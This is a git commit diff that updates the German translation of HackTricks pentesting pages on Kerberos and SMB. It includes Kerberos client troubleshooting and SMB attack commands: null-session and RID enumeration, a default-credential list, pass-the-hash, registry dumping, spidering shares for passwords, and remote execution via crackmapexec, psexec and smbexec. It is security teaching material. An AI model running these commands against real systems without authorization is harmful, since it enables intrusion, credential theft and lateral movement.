Translated ['src/network-services-pentesting/pentesting-kerberos-88/READ

This commit is contained in:
Translator 2025-09-29 09:33:00 +00:00
parent b3abdaa2b7
commit b24333b83c
4 changed files with 416 additions and 287 deletions

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Grundinformationen
## Grundlegende Informationen
**Kerberos** funktioniert nach dem Prinzip, dass es Benutzer authentifiziert, ohne direkt deren Zugriff auf Ressourcen zu verwalten. Dies ist eine wichtige Unterscheidung, da sie die Rolle des Protokolls in Sicherheitsrahmenwerken unterstreicht.
**Kerberos** arbeitet nach dem Prinzip, Benutzer zu authentifizieren, ohne direkt deren Zugriff auf Ressourcen zu verwalten. Das ist ein wichtiger Unterschied, da er die Rolle des Protokolls innerhalb von Sicherheitsframeworks hervorhebt.
In Umgebungen wie **Active Directory** ist **Kerberos** entscheidend für die Feststellung der Identität von Benutzern, indem es deren geheime Passwörter validiert. Dieser Prozess stellt sicher, dass die Identität jedes Benutzers bestätigt wird, bevor er mit Netzwerkressourcen interagiert. **Kerberos** erweitert jedoch seine Funktionalität nicht, um die Berechtigungen eines Benutzers über spezifische Ressourcen oder Dienste zu bewerten oder durchzusetzen. Stattdessen bietet es eine sichere Möglichkeit zur Authentifizierung von Benutzern, was ein kritischer erster Schritt im Sicherheitsprozess ist.
In Umgebungen wie **Active Directory** ist **Kerberos** maßgeblich dafür, die Identität von Benutzern zu etablieren, indem es ihre geheimen Passwörter validiert. Dieser Prozess stellt sicher, dass die Identität jedes Benutzers bestätigt wird, bevor er mit Netzwerkressourcen interagiert. **Kerberos** übernimmt jedoch nicht die Aufgabe, die Berechtigungen eines Benutzers für bestimmte Ressourcen oder Dienste zu bewerten oder durchzusetzen. Stattdessen bietet es eine sichere Methode zur Authentifizierung von Benutzern, was ein entscheidender erster Schritt im Sicherheitsprozess ist.
Nach der Authentifizierung durch **Kerberos** wird der Entscheidungsprozess bezüglich des Zugriffs auf Ressourcen an einzelne Dienste im Netzwerk delegiert. Diese Dienste sind dann verantwortlich für die Bewertung der Rechte und Berechtigungen des authentifizierten Benutzers, basierend auf den Informationen, die **Kerberos** über die Privilegien des Benutzers bereitstellt. Dieses Design ermöglicht eine Trennung der Anliegen zwischen der Authentifizierung der Identität von Benutzern und der Verwaltung ihrer Zugriffsrechte, was einen flexibleren und sichereren Ansatz für das Ressourcenmanagement in verteilten Netzwerken ermöglicht.
Nach der Authentifizierung durch **Kerberos** wird die Entscheidung über den Zugriff auf Ressourcen an die einzelnen Dienste im Netzwerk delegiert. Diese Dienste sind dann dafür verantwortlich, die Rechte und Berechtigungen des authentifizierten Benutzers zu bewerten, basierend auf den von **Kerberos** bereitgestellten Informationen über die Benutzerprivilegien. Dieses Design ermöglicht eine Trennung zwischen der Authentifizierung der Identität von Benutzern und der Verwaltung ihrer Zugriffsrechte und erlaubt so einen flexibleren und sichereren Ansatz für das Ressourcenmanagement in verteilten Netzwerken.
**Standardport:** 88/tcp/udp
```
@ -17,6 +17,43 @@ PORT STATE SERVICE
```
### **Um zu lernen, wie man Kerberos missbraucht, sollten Sie den Beitrag über** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)** lesen.**
## Nur-Kerberos-Umgebungen: Client-Vorbereitung und Fehlerbehebung
Wenn NTLM auf Domain-Diensten (SMB/WinRM/etc.) deaktiviert ist, müssen Sie sich mit Kerberos authentifizieren. Häufige Fallstricke und ein funktionierender Workflow:
- Die Zeitsynchronisation ist zwingend. Wenn die Systemuhr Ihres Hosts um mehr als ein paar Minuten abweicht, sehen Sie `KRB_AP_ERR_SKEW` und alle Kerberos-Authentifizierungen schlagen fehl. Synchronisieren Sie gegen den DC:
```bash
# quick one-shot sync (requires sudo)
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
```
- Erstelle eine gültige krb5.conf für das ZielRealm/Domain. `netexec` (CME fork) kann dir beim Testen von SMB eine solche ausgeben:
```bash
# Generate krb5.conf and install it
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
```
- Ein TGT erhalten und ccache überprüfen:
```bash
kinit <user>
klist
```
- Kerberos mit SMB-Tooling verwenden (no passwords sent, uses your ccache):
```bash
# netexec / CME
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
# impacket examples also support -k / --no-pass to use the ccache
smbclient --kerberos //<dc.fqdn>/IPC$
```
- GSSAPI SSH Einmalanmeldung (OpenSSH to Windows OpenSSH server):
```bash
# Ensure krb5.conf is correct and you have a TGT (kinit)
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Tips:
- Stellen Sie sicher, dass Ihre `/etc/hosts` den exakten FQDN auflöst, zu dem Sie per SSH/SMB verbinden, und dass dieser Eintrag vor jeglichen Bare-Domain-Einträgen steht, falls Sie DNS überschreiben. SPN-Nichtübereinstimmungen führen zu Problemen mit GSSAPI.
- Wenn NTLM auf SMB deaktiviert ist, sehen Sie bei NTLM-Versuchen möglicherweise `STATUS_NOT_SUPPORTED`; fügen Sie `-k` hinzu, um Kerberos zu erzwingen.
## Mehr
### Shodan
@ -25,14 +62,21 @@ PORT STATE SERVICE
### MS14-068
Der MS14-068-Fehler ermöglicht es einem Angreifer, das Kerberos-Login-Token eines legitimen Benutzers zu manipulieren, um fälschlicherweise erhöhte Berechtigungen, wie z.B. die eines Domain-Administrators, zu beanspruchen. Diese gefälschte Behauptung wird fälschlicherweise vom Domain-Controller validiert, was unbefugten Zugriff auf Netzwerkressourcen im gesamten Active Directory-Wald ermöglicht.
Die MS14-068-Schwachstelle erlaubt einem Angreifer, das Kerberos-Anmelde-Token eines legitimen Benutzers zu manipulieren, um fälschlich erhöhte Privilegien zu beanspruchen, z. B. Domain Admin. Dieser gefälschte Anspruch wird vom Domain Controller irrtümlich validiert, wodurch unautorisierter Zugriff auf Netzwerkressourcen im gesamten Active Directory forest ermöglicht wird.
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
Weitere Exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## Referenzen
- [NetExec (CME) wiki Kerberos and krb5.conf generation](https://www.netexec.wiki/)
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
- [MIT Kerberos Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## HackTricks Automatische Befehle
```

View File

@ -4,43 +4,43 @@
## **Port 139**
Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) die Interaktion mit Netzwerkhardware zu ermöglichen und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifikation und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Session zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (als Client fungierend) einen Befehl ausgibt, um eine andere Anwendung (als Server fungierend) "aufzurufen", wobei **TCP Port 139** verwendet wird.
Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) die Interaktion mit Netzwerkhardware zu ermöglichen und **die Übertragung von Daten im Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgen über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und häufig vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (als Client fungierend) einen Befehl sendet, eine andere Anwendung (als Server fungierend) zu "aufrufen", wobei **TCP Port 139** verwendet wird.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Technisch wird Port 139 als NBT over IP bezeichnet, während Port 445 als SMB over IP identifiziert wird. Das Akronym **SMB** steht für **Server Message Blocks**, das auch heute als **Common Internet File System (CIFS)** bekannt ist. Als Protokoll der Anwendungsschicht wird SMB/CIFS hauptsächlich verwendet, um gemeinsamen Zugriff auf Dateien, Drucker und serielle Schnittstellen zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu unterstützen.
Technisch wird Port 139 als NBT over IP bezeichnet, während Port 445 als SMB over IP identifiziert wird. Das Akronym **SMB** steht für **Server Message Blocks**, das heutzutage auch als **Common Internet File System (CIFS)** bekannt ist. Als anwendungsorientiertes Netzwerkprotokoll wird SMB/CIFS hauptsächlich verwendet, um gemeinsamen Zugriff auf Dateien, Drucker und serielle Schnittstellen zu ermöglichen und verschiedene Formen der Kommunikation zwischen Knoten in einem Netzwerk zu erleichtern.
Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TCP/IP laufen kann und damit NetBIOS over TCP/IP nicht erforderlich ist, wenn Port 445 verwendet wird. Auf anderen Systemen wird hingegen Port 139 verwendet, was darauf hinweist, dass SMB zusammen mit NetBIOS over TCP/IP ausgeführt wird.
Beispielsweise wird im Kontext von Windows hervorgehoben, dass SMB direkt über TCP/IP arbeiten kann, wodurch die Notwendigkeit für NetBIOS over TCP/IP entfällt, indem Port 445 verwendet wird. Umgekehrt wird auf anderen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB zusammen mit NetBIOS over TCP/IP ausgeführt wird.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Das **Server Message Block (SMB)**-Protokoll, das in einem **Client-Server**-Modell arbeitet, dient der Regelung des **Zugriffs auf Dateien**, Verzeichnisse und anderer Netzwerkressourcen wie Drucker und Router. Hauptsächlich innerhalb der **Windows**-Betriebssystemreihe genutzt, stellt SMB Abwärtskompatibilität sicher, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen kommunizieren können, die ältere Versionen ausführen. Zusätzlich bietet das **Samba**-Projekt eine freie Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und damit plattformübergreifende Kommunikation über SMB erleichtert.
Das **Server Message Block (SMB)**-Protokoll, das in einem **Client-Server**-Modell arbeitet, ist dazu konzipiert, den **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Hauptsächlich innerhalb der **Windows**-Betriebssystemreihe verwendet, stellt SMB Abwärtskompatibilität sicher, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen mit älteren Versionen interagieren können. Zusätzlich bietet das **Samba**-Projekt eine freie Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so plattformübergreifende Kommunikation über SMB erleichtert.
Shares, die **beliebige Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die die **Zugriffsrechte** definieren, erlauben eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attributen wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Shares zugewiesen werden und unterscheiden sich von den lokal auf dem Server gesetzten Berechtigungen.
Shares, die **beliebige Teile des lokalen Dateisystems** darstellen, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die die **Zugriffsrechte** definieren, erlauben eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attributen wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können abhängig von den Shares einzelnen Benutzern oder Gruppen zugewiesen werden und unterscheiden sich von den lokal auf dem Server gesetzten Berechtigungen.
### IPC$ Share
Zugriff auf die IPC$ Share kann über eine anonyme Null-Session erlangt werden, wodurch die Interaktion mit über named pipes exponierten Diensten möglich wird. Das Tool `enum4linux` ist hierfür nützlich. Richtig eingesetzt ermöglicht es die Beschaffung von:
Der Zugriff auf die IPC$-Share kann über eine anonyme null session erlangt werden und erlaubt die Interaktion mit Diensten, die über named pipes angeboten werden. Das Tool `enum4linux` ist hierfür nützlich. Richtig eingesetzt ermöglicht es die Beschaffung von:
- Informationen über das Betriebssystem
- Details zur übergeordneten Domain
- Informationen zum Betriebssystem
- Angaben zur übergeordneten Domain
- Eine Aufstellung lokaler Benutzer und Gruppen
- Informationen zu verfügbaren SMB shares
- Der effektiven System-Sicherheitsrichtlinie
- Informationen zu verfügbaren SMB-Shares
- Der wirksamen System-Sicherheitsrichtlinie
Diese Funktionalität ist für Netzwerkadministratoren und Sicherheitsfachleute entscheidend, um die Sicherheitslage von SMB (Server Message Block)-Diensten in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Einblick in die SMB-Umgebung des Zielsystems, was essenziell ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß abgesichert sind.
Diese Funktionalität ist für Netzwerkadministratoren und Sicherheitsfachleute entscheidend, um die Sicherheitslage von SMB (Server Message Block)-Diensten in einem Netzwerk zu beurteilen. `enum4linux` liefert eine umfassende Sicht auf die SMB-Umgebung des Zielsystems, die wesentlich ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß abgesichert sind.
```bash
enum4linux -a target_ip
```
Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden könnte, um eine vollständige Enumeration gegen ein Ziel durchzuführen, das durch `target_ip` angegeben ist.
Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden könnte, um eine vollständige enumeration gegen ein Ziel durchzuführen, das durch `target_ip` angegeben ist.
## Was ist NTLM
Wenn du nicht weißt, was NTLM ist oder wissen möchtest, wie es funktioniert und wie man es missbrauchen kann, findest du diese Seite über **NTLM** sehr interessant, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie du es zu deinem Vorteil nutzen kannst:**
Wenn du nicht weißt, was NTLM ist oder wissen möchtest, wie es funktioniert und wie man es missbrauchen kann, findest du diese Seite über **NTLM** sehr interessant, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie du es ausnutzen kannst:**
{{#ref}}
@ -49,15 +49,15 @@ Wenn du nicht weißt, was NTLM ist oder wissen möchtest, wie es funktioniert un
## **Server Enumeration**
### **Scan** ein Netzwerk nach Hosts:
### **Scan** ein Netzwerk, um nach Hosts zu suchen:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB-Server-Version
Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Information in anderen verwendeten Tools nicht angezeigt wird, kannst du:
Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Information in den anderen verwendeten Tools nicht erscheint, können Sie:
- Verwende das **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Verwenden Sie das **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Oder dieses Skript:
```bash
#!/bin/sh
@ -80,13 +80,13 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Mögliche** Anmeldedaten
### **Mögliche** Anmeldeinformationen
| **Benutzername(n)** | **Häufige Passwörter** |
| -------------------- | ----------------------------------------- |
| _(leer)_ | _(leer)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| guest | _(leer)_ |
| Administrator, admin | _(leer)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
@ -96,7 +96,7 @@ searchsploit microsoft smb
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
### SMB-Umgebungsinformationen
### Informationen zur SMB-Umgebung
### Informationen beschaffen
```bash
@ -122,7 +122,7 @@ rpcclient -U "username%passwd" <IP> #With creds
```
### Benutzer, Gruppen & angemeldete Benutzer auflisten
Diese Informationen sollten bereits von enum4linux und enum4linux-ng gesammelt worden sein.
Diese Informationen sollten bereits durch enum4linux und enum4linux-ng gesammelt worden sein.
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -140,7 +140,7 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
Einzeiler
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -150,7 +150,7 @@ use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Enumerieren von LSARPC und SAMR rpcclient**
### **Aufzählung von LSARPC und SAMR rpcclient**
{{#ref}}
@ -163,15 +163,15 @@ rpcclient-enumeration.md
`xdg-open smb://cascade.htb/`
#### Im Dateibrowser-Fenster (nautilus, thunar, etc)
#### Im Dateimanager-Fenster (nautilus, thunar, usw.)
`smb://friendzone.htb/general/`
## Auflisten freigegebener Ordner
## Aufzählung freigegebener Ordner
### Freigegebene Ordner auflisten
Es wird immer empfohlen zu prüfen, ob du auf irgendetwas zugreifen kannst. Wenn du keine credentials hast, versuche **null** **credentials/guest user** zu verwenden.
Es wird immer empfohlen zu prüfen, ob Sie auf irgendetwas zugreifen können. Wenn Sie keine Anmeldeinformationen haben, versuchen Sie die Verwendung von **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Manuell Windows-Freigaben auflisten und sich mit ihnen verbinden**
### **Manuell Windows-Shares auflisten und verbinden**
Es kann vorkommen, dass Sie daran gehindert werden, die Freigaben des Host-Rechners anzuzeigen, und beim Versuch, diese aufzulisten, scheint es, als gäbe es keine Freigaben zum Verbinden. Daher kann es sinnvoll sein, kurz zu versuchen, manuell eine Freigabe zu verbinden. Um die Freigaben manuell zu ermitteln, sollten Sie auf Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME achten, wenn Sie eine gültige Session verwenden (z.B. null session oder gültige Anmeldedaten). Diese können darauf hinweisen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben, oder ob die Freigabe überhaupt nicht existiert.
Es kann sein, dass du daran gehindert wirst, die Shares des Host-Rechners anzuzeigen; beim Versuch, sie aufzulisten, sieht es so aus, als gäbe es keine Shares, zu denen du dich verbinden könntest. Deshalb lohnt es sich, kurz zu versuchen, manuell eine Verbindung zu einem Share herzustellen. Um die Shares manuell zu enumerieren, solltest du auf Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME achten, wenn du eine gültige Sitzung verwendest (z. B. null session oder gültige Anmeldedaten). Diese können darauf hinweisen, ob das Share existiert und du keinen Zugriff darauf hast oder das Share überhaupt nicht existiert.
Gängige Freigabenamen für Windows-Ziele sind
Häufige Share-Namen für Windows-Ziele sind
- C$
- D$
@ -212,14 +212,14 @@ Gängige Freigabenamen für Windows-Ziele sind
- SYSVOL
- NETLOGON
(Gängige Freigabenamen aus _**Network Security Assessment 3rd edition**_)
(Übliche Share-Namen aus _**Network Security Assessment 3rd edition**_)
Sie können versuchen, sich mit ihnen zu verbinden, indem Sie den folgenden Befehl verwenden
Du kannst versuchen, dich mit ihnen zu verbinden, indem du folgenden Befehl verwendest
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
oder dieses Skript (mit einer null session)
oder dieses script (mit einer null session)
```bash
#/bin/bash
@ -238,8 +238,8 @@ done
```
Beispiele
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Freigaben unter Windows auflisten / ohne Drittanbieter-Tools**
@ -267,16 +267,16 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (grafisch): Geben Sie `\\<ip>\` ein, um die verfügbaren nicht versteckten Freigaben anzuzeigen.
explorer.exe (grafisch): `\\<ip>\` eingeben, um die verfügbaren nicht versteckten Freigaben zu sehen.
### Einbinden eines freigegebenen Ordners
### Ein freigegebenes Verzeichnis einbinden
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Dateien herunterladen**
Lesen Sie die vorherigen Abschnitte, um zu erfahren, wie Sie sich mit credentials/Pass-the-Hash verbinden.
Lesen Sie die vorherigen Abschnitte, um zu lernen, wie man sich mit credentials/Pass-the-Hash verbindet.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -291,12 +291,12 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Commands:
Befehle:
- mask: gibt die Maske an, die verwendet wird, um die Dateien im Verzeichnis zu filtern (z. B. "" für alle Dateien)
- recurse: schaltet Rekursion ein (Standard: off)
- prompt: deaktiviert die Abfrage von Dateinamen (Standard: on)
- mget: kopiert alle Dateien, die der Maske entsprechen, vom host auf die client machine
- mask: spezifiziert die Maske, die verwendet wird, um Dateien im Verzeichnis zu filtern (z. B. "" für alle Dateien)
- recurse: schaltet Rekursion ein (Standard: aus)
- prompt: schaltet die Abfrage nach Dateinamen aus (Standard: ein)
- mget: kopiert alle Dateien, die der Maske entsprechen, vom Host auf die Client-Maschine
(_Informationen aus der manpage von smbclient_)
@ -312,51 +312,65 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Besonders interessant in Shares sind die Dateien namens **`Registry.xml`**, da sie **Passwörter enthalten können** für Benutzer, die mit **autologon** via Group Policy konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten.
Besonders interessant von Shares sind die Dateien namens **`Registry.xml`**, da sie **may contain passwords** für Benutzer enthalten können, die mit **autologon** via Group Policy konfiguriert wurden. Oder **`web.config`**-Dateien, da sie credentials enthalten.
> [!TIP]
> Die **SYSVOL share** ist für alle authentifizierten Benutzer in der Domain **lesbar**. Dort kannst du viele verschiedene batch-, VBScript- und PowerShell-**scripts** **finden**.\
> Du solltest die **scripts** darin **prüfen**, da du möglicherweise sensible Informationen wie **Passwörter** **findest**.
> Der **SYSVOL share** ist für alle authentifizierten Benutzer in der Domain **lesbar**. Dort können Sie viele verschiedene batch-, VBScript- und PowerShell-**Skripte** **finden**.\
> Sie sollten die **Skripte** darin **überprüfen**, da Sie möglicherweise sensible Informationen wie **passwords** finden.
## Registry auslesen
Möglicherweise kannst du die **Registry** mit einigen entdeckten Anmeldeinformationen **auslesen**. Impacket **`reg.py`** ermöglicht es dir, Folgendes zu versuchen:
Sie können möglicherweise **die Registry auslesen**, indem Sie einige entdeckte credentials verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, dies zu versuchen:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Exploitation
## Post-Exploitation
Die **Standardkonfiguration** eines **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** enthalten:
Die **Standardkonfiguration** eines **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und kann einige **gefährliche Konfigurationen** enthalten:
| **Einstellung** | **Beschreibung** |
| **Setting** | **Beschreibung** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben? |
| `read only = no` | Verbietet die Erstellung und Änderung von Dateien? |
| `writable = yes` | Erlaubt Benutzern das Erstellen und Ändern von Dateien? |
| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Passwort? |
| `enable privileges = yes` | Berücksichtigt Berechtigungen, die bestimmten SIDs zugewiesen sind? |
| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? |
| `read only = no` | Verhindert die Erstellung und Änderung von Dateien? |
| `writable = yes` | Ermöglicht Benutzern das Erstellen und Ändern von Dateien? |
| `guest ok = yes` | Ermöglicht die Verbindung zum Dienst ohne Verwendung eines Passworts? |
| `enable privileges = yes` | Beachtet Berechtigungen, die bestimmten SIDs zugewiesen sind? |
| `create mask = 0777` | Welche Berechtigungen müssen neu erstellten Dateien zugewiesen werden? |
| `directory mask = 0777` | Welche Berechtigungen müssen neu erstellten Verzeichnissen zugewiesen werden? |
| `logon script = script.sh` | Welches Skript muss beim Login des Benutzers ausgeführt werden? |
| `magic script = script.sh` | Welches Skript soll ausgeführt werden, wenn das Skript beendet wird? |
| `magic output = script.out` | Wo die Ausgabe des magic-Skripts gespeichert werden muss? |
| `magic script = script.sh` | Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? |
| `magic output = script.out` | Wo die Ausgabe des magic script gespeichert werden muss? |
Der Befehl `smbstatus` liefert Informationen über den **Server** und darüber, **wer verbunden ist**.
## Authentifizieren mit Kerberos
## Authentifizierung mit Kerberos
Du kannst dich bei **kerberos** mit den Tools **smbclient** und **rpcclient** authentifizieren:
Sie können sich gegenüber **Kerberos** mit den Tools **smbclient** und **rpcclient** authentifizieren:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
In Kerberos-only-Umgebungen (NTLM deaktiviert) können NTLM-Versuche gegen SMB `STATUS_NOT_SUPPORTED` zurückgeben. Behebe häufige Kerberos-Probleme und erzwinge Kerberos-Authentifizierung:
```bash
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
```
Für eine vollständige Client-Einrichtung (krb5.conf-Generierung, kinit, SSH GSSAPI/SPN-Hinweise) siehe:
{{#ref}}
../pentesting-kerberos-88/README.md
{{#endref}}
## **Befehle ausführen**
### **crackmapexec**
crackmapexec kann Befehle ausführen, **abusing** eines der **mmcexec, smbexec, atexec, wmiexec**, wobei **wmiexec** die **default** Methode ist. Mit dem Parameter `--exec-method` können Sie angeben, welche Option Sie bevorzugt verwenden möchten:
crackmapexec kann Befehle ausführen, indem es eines der **mmcexec, smbexec, atexec, wmiexec** ausnutzt, wobei **wmiexec** die **Standardmethode** ist. Welche Option verwendet werden soll, geben Sie mit dem Parameter `--exec-method` an:
```bash
apt-get install crackmapexec
@ -380,8 +394,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Beide Optionen werden **einen neuen Service erstellen** (unter Verwendung von _\pipe\svcctl_ über SMB) auf dem Opferrechner und ihn verwenden, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in das ADMIN$ share **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** zeigen und die Nutzlast als Argumente übergeben —**file-less technique**—).\
**Mehr Infos** zu [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)und [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Beide Optionen werden **einen neuen Dienst erstellen** (mithilfe von _\pipe\svcctl_ über SMB) auf dem Zielrechner und ihn verwenden, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei auf das ADMIN$ share **upload** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und in die Argumente das payload setzen --**file-less technique-**-).\
